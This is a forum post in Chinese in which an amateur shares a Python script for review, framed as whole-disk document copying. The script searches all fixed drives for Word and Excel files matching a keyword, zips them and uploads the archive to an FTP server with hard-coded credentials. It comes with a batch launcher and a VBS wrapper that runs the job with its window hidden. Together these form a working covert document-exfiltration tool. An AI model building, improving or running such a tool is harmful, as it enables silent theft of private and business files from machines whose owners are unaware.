最近弄了一个全盘复制word,excel文档的Pyhton脚本(python3.7 32位),业余选手,共享源代码(注释很详细),大佬看看,能否代码优化!
# -*-coding:utf-8-*-
import os
import shutil
import zipfile
import time
import psutil
import string
from pathlib import *
from ftp import FTPSync
# 定义zip压缩方法
def zipDir(dirpath, outFullName):
"""
压缩指定文件夹
:param dirpath: 目标文件夹路径
:param outFullName: 压缩文件保存路径+xxxx.zip
:return: 无
"""
zip = zipfile.ZipFile(outFullName, "w", zipfile.ZIP_DEFLATED) #(压缩文件名 #创建zip #压缩方式)
#遍历目标文件夹里的文件
for path, dirnames, filenames in os.walk(dirpath):
fpath = path.replace(dirpath, '') # 去掉目标跟路径,只对目标文件夹下边的文件及文件夹进行压缩
for filename in filenames: #利用for循环对文件夹中文件进行压缩
zip.write(os.path.join(path, filename), os.path.join(fpath, filename))
zip.close()
#获取磁盘盘符方法
def get_disklist(dstpath): #传递磁盘根目录的参数
disk_list = [] #磁盘盘符存放list
disk = psutil.disk_partitions() #利用psutil库获取磁盘全部信息
#dstpath = os.path.splitdrive(str(Path.cwd()))[0] + "\\"
for i in disk:
if (i.device == dstpath and i.opts == "rw,removable") or i.opts == "cdrom": #device表示磁盘盘符名称,opts表示磁盘性质(可移动磁盘),光驱
pass
else:
disk_list.append(i.device) #循环对list增加元素
# c盘+ splitdrive分离盘符和路径,形成元组,取出元组对应的路径,expanduser获取用户路径,Path().parent获取上级目录
disk_list[0]=disk_list[0]+os.path.splitdrive(str(Path(os.path.expanduser('~')).parent))[1]
return disk_list
#计时器
time_start=time.time()
#主程序_初始化
dstpath = os.path.splitdrive(str(Path.cwd()))[0] + "\\" #获取python.exe的根目录盘符
dstDir = os.path.join(dstpath,"dstDir") #准备目标文件夹的地址,上面的根目录下准备创建dstDir文件夹
dstDir=dstDir.replace("\\","/") #将"\\"转化为"/"
edata = [] # 收集无法复制的错误信息list
gjz=open(dstpath+"关键字.txt","r",True,"utf-8-sig") #打开目标根目录下的关键字.txt里面设置匹配参数
guanjianzi = gjz.readlines() #读取txt全部内容
guanjianzi=[x.strip() for x in guanjianzi] #这是个链式表达式,strip()去除"\n",for循环取值,if x.split("")删除空值
gjz.close()
# 目标文件夹不存在,则新建
if not os.path.exists(dstDir): #如果不存在目标文件夹
os.mkdir(dstDir) #创建文件夹
#获取磁盘盘符
disk_list = get_disklist(dstpath) #调用获取磁盘盘符方法
#disk_list = ["e:/"]
for path in disk_list: #规范盘符"\\"
path=path.replace("\\","/")
print(path)
#path = path.rstrip('/')
#遍历
for p in Path(path).rglob("*.*"):
try:
#排除目标文件夹的路径 判断文件后缀名 判断关键字
if str(p.parent).find("dstDir")==-1 and (p.suffix== ".doc" or p.suffix== ".xls" or p.suffix== ".docx" or p.suffix== ".xlsx") and p.stem.find(guanjianzi[0])!=-1:
# 合并路径 遍历路径,去除盘符 按照源文件夹生成文件夹
dstDirn=os.path.join(dstDir,str(p.parent).strip(str(p.anchor)))
if not os.path.exists(dstDirn):
os.makedirs(dstDirn)
shutil.copy(p, dstDirn)
except Exception as e:
edata.append(str(p))
pass
# 写入错误到txt文件
error_file = open(dstDir + '\\' + 'error' + '.txt', 'w')
for line in edata:
error_file.write(line + '\n')
error_file.close()
zipDir(dstDir, dstDir+'.zip')
#计时器
time_end=time.time()
print('收集时间:',time_end-time_start,'s')
#调用ftp程序
time_start=time.time()
ftp =FTPSync(guanjianzi[1])
ftp.login('ftpadmin', "ftpadmin")
# ftp.get_file("ftppath")
# ftp.get_dir("ftppath","localpath",True)
# ftp.get_dir("","",True)
# ftp.get_all_dir("")
ftp.put_file(dstDir+'.zip')
#ftp.put_dir('d:/dst', "/fff",begin=True)
time_end=time.time()
print('上传时间:',time_end-time_start,'s')
ftp调用是直接利用坛友的!
#! /usr/bin/env python2.7
# encoding=utf8
from ftplib import FTP,error_perm # 加载ftp模块
import os
class FTPSync(object):
conn = FTP()
def __init__(self,host,port=21):
self.conn.connect(host,port)
def login(self,username,password):
self.conn.login(username,password)
self.conn.encoding = "GB2312"
self.conn.set_debuglevel(2) #打开调试级别2,显示详细信息
self.conn.set_pasv(True)
#0主动模式 1 #被动模式
print(self.conn.welcome)
def _ftp_list(self,line):
li = line.split(' ')
if self.ftp_dir_name == li[-1] and "<DIR>" in li:
self._is_dir = True
def _is_ftp_file(self, ftp_path):
try:
if ftp_path in self.conn.nlst(os.path.dirname(ftp_path)):
return True
else:
return False
except error_perm as e:
return False
def _is_ftp_dir(self,ftp_path):
"""
用来判断所给的路径是文件还是文件夹
"""
ftp_path = ftp_path.rstrip('/')
ftp_parent_path = os.path.dirname(ftp_path)
self.ftp_dir_name = os.path.basename(ftp_path)
self._is_dir = False
if ftp_path == '.' or ftp_path == './' or ftp_path == '':
self._is_dir = True
else:
try:
self.conn.cwd(ftp_path)
self._is_dir = True
# self.conn.retrlines('LIST %s' %ftp_parent_path,self._ftp_list)
except error_perm as e:
return self._is_dir
return self._is_dir
def get_file(self,ftp_path="",local_path="."):
print(ftp_path)
ftp_path = ftp_path.rstrip('/')
file_name = os.path.basename(ftp_path)
# 如果本地路径是目录,下载文件到该目录
if os.path.isdir(local_path):
file_handler = open(os.path.join(local_path,file_name),'wb')
self.conn.retrbinary("RETR %s"%(ftp_path),file_handler.write)
file_handler.close()
# 如果本地路径不是目录,但上层目录存在,则按照本地路径的文件名作为下载的文件名称
elif os.path.isdir(os.path.dirname(local_path)):
file_handler = open(local_path,'wb')
self.conn.retrbinary("RETR %s"%(ftp_path),file_handler.write)
file_handler.close()
# 如果本地路径不是目录,且上层目录不存在,则退出
else:
print('EROOR:The dir:%s is not exist' %os.path.dirname(local_path))
def get_dir(self,ftp_path,local_path=".",begin=True):
if not self._is_ftp_dir(ftp_path):
self.get_file(ftp_path=ftp_path, local_path=local_path)
return
if begin:
local_path = os.path.join(local_path, os.path.basename(ftp_path))
#如果本地目录不存在,则创建目录
if not os.path.isdir(local_path):
os.mkdir(local_path)
#进入ftp目录,开始递归查询
self.conn.cwd(ftp_path)
ftp_files = self.conn.nlst()
for file in ftp_files:
local_file = os.path.join(local_path, file)
#如果file ftp路径是目录则递归上传目录(不需要再进行初始化begin的标志修改为False)
#如果file ftp路径是文件则直接上传文件
if self._is_ftp_dir(file):
self.get_dir(file, local_file, False)
elif "idea" in file:
pass
else:
self.get_file(ftp_path=file, local_path=local_file)
#如果当前ftp目录文件已经遍历完毕返回上一层目录
self.conn.cwd("..")
def get_all_dir(self):
ftp_files = self.conn.nlst()
for file in ftp_files:
self.get_dir(file,"D:\\ftp",True)
def put_file(self,local_path,ftp_path="."):
ftp_path = ftp_path.rstrip('/')
if os.path.isfile(local_path):
file_handler = open(local_path,'rb')
local_file_name = os.path.basename(local_path)
#如果远程路径是个目录,则上传文件到这个目录,文件名不变
if self._is_ftp_dir(ftp_path):
self.conn.storbinary('STOR %s'%os.path.join(ftp_path,local_file_name), file_handler)
#如果远程路径的上层是个目录,则上传文件,文件名按照给定命名
elif self._is_ftp_dir(os.path.dirname(ftp_path)):
print('STOP %s'%ftp_path)
self.conn.storbinary('STOR %s'%ftp_path, file_handler)
#如果远程路径不是目录,且上一层的目录也不存在,则提示给定远程路径错误
else:
print('STOR %s'%ftp_path, file_handler)
def put_dir(self,local_path,ftp_path=".",begin=True):
ftp_path = ftp_path.rstrip('/')
if not os.path.isdir(local_path):
print('ERROR:The dir:%s is not exist' %local_path)
return
#当本地目录存在时上传
#上传初始化:如果给定的ftp路径不存在需要创建,同时将本地的目录存放在给定的ftp目录下。
# 本地目录下文件存放的路径为ftp_path = ftp_path + os.path.basename(local_path)
#例如,将本地的文件夹a上传到ftp的a/b目录下,则本地a目录下的文件将上传的ftp的a/b/a目录下
if begin:
if not self._is_ftp_dir(ftp_path):
try:
self.conn.mkd(ftp_path)
except Exception as e:
pass
ftp_path = os.path.join(ftp_path,os.path.basename(local_path))
# 如果上传路径是文件夹,则创建目录
if not self._is_ftp_dir(ftp_path):
try:
self.conn.mkd(ftp_path)
except Exception as e:
pass
#进入本地目录,开始递归查询
os.chdir(local_path)
local_files = os.listdir('.')
for file in local_files:
ftp_file = os.path.join(ftp_path,file)
#如果file本地路径是目录则递归上传文件(不需要再进行初始化begin的标志修改为False)
#如果file本地路径是文件则直接上传文件
if os.path.isdir(file):
self.put_dir(file,ftp_file,False)
elif "idea" in file:
pass
else:
self.put_file(file,ftp_path)
#如果当前本地目录文件已经遍历完毕返回上一层目录
os.chdir('..')
if __name__ == "__main__":
ftp = FTPSync('10.10.10.69')
ftp.login('dong',"dong")
# ftp.get_file("ftppath")
# ftp.get_dir("ftppath","localpath",True)
# ftp.get_dir("","",True)
# ftp.get_all_dir("")
ftp.put_file('/home/myscan/myscan/myscan/report_file/7/http___192.168.1.104_.html')
# ftp.put_dir('/home/myscan/myscan/myscan/report_file/7', "/home/ftp_dong",begin=True)
可以用bat调用运行
@echo off
cd %~d0\python-3.7.6-embed-win32\
python32e %~d0\python-3.7.6-embed-win32\_work\遍历(pathlib).py
pause
隐藏bat的vbs
set ws=WScript.CreateObject("WScript.Shell")
ws.Run "search_ftp.bat",0,true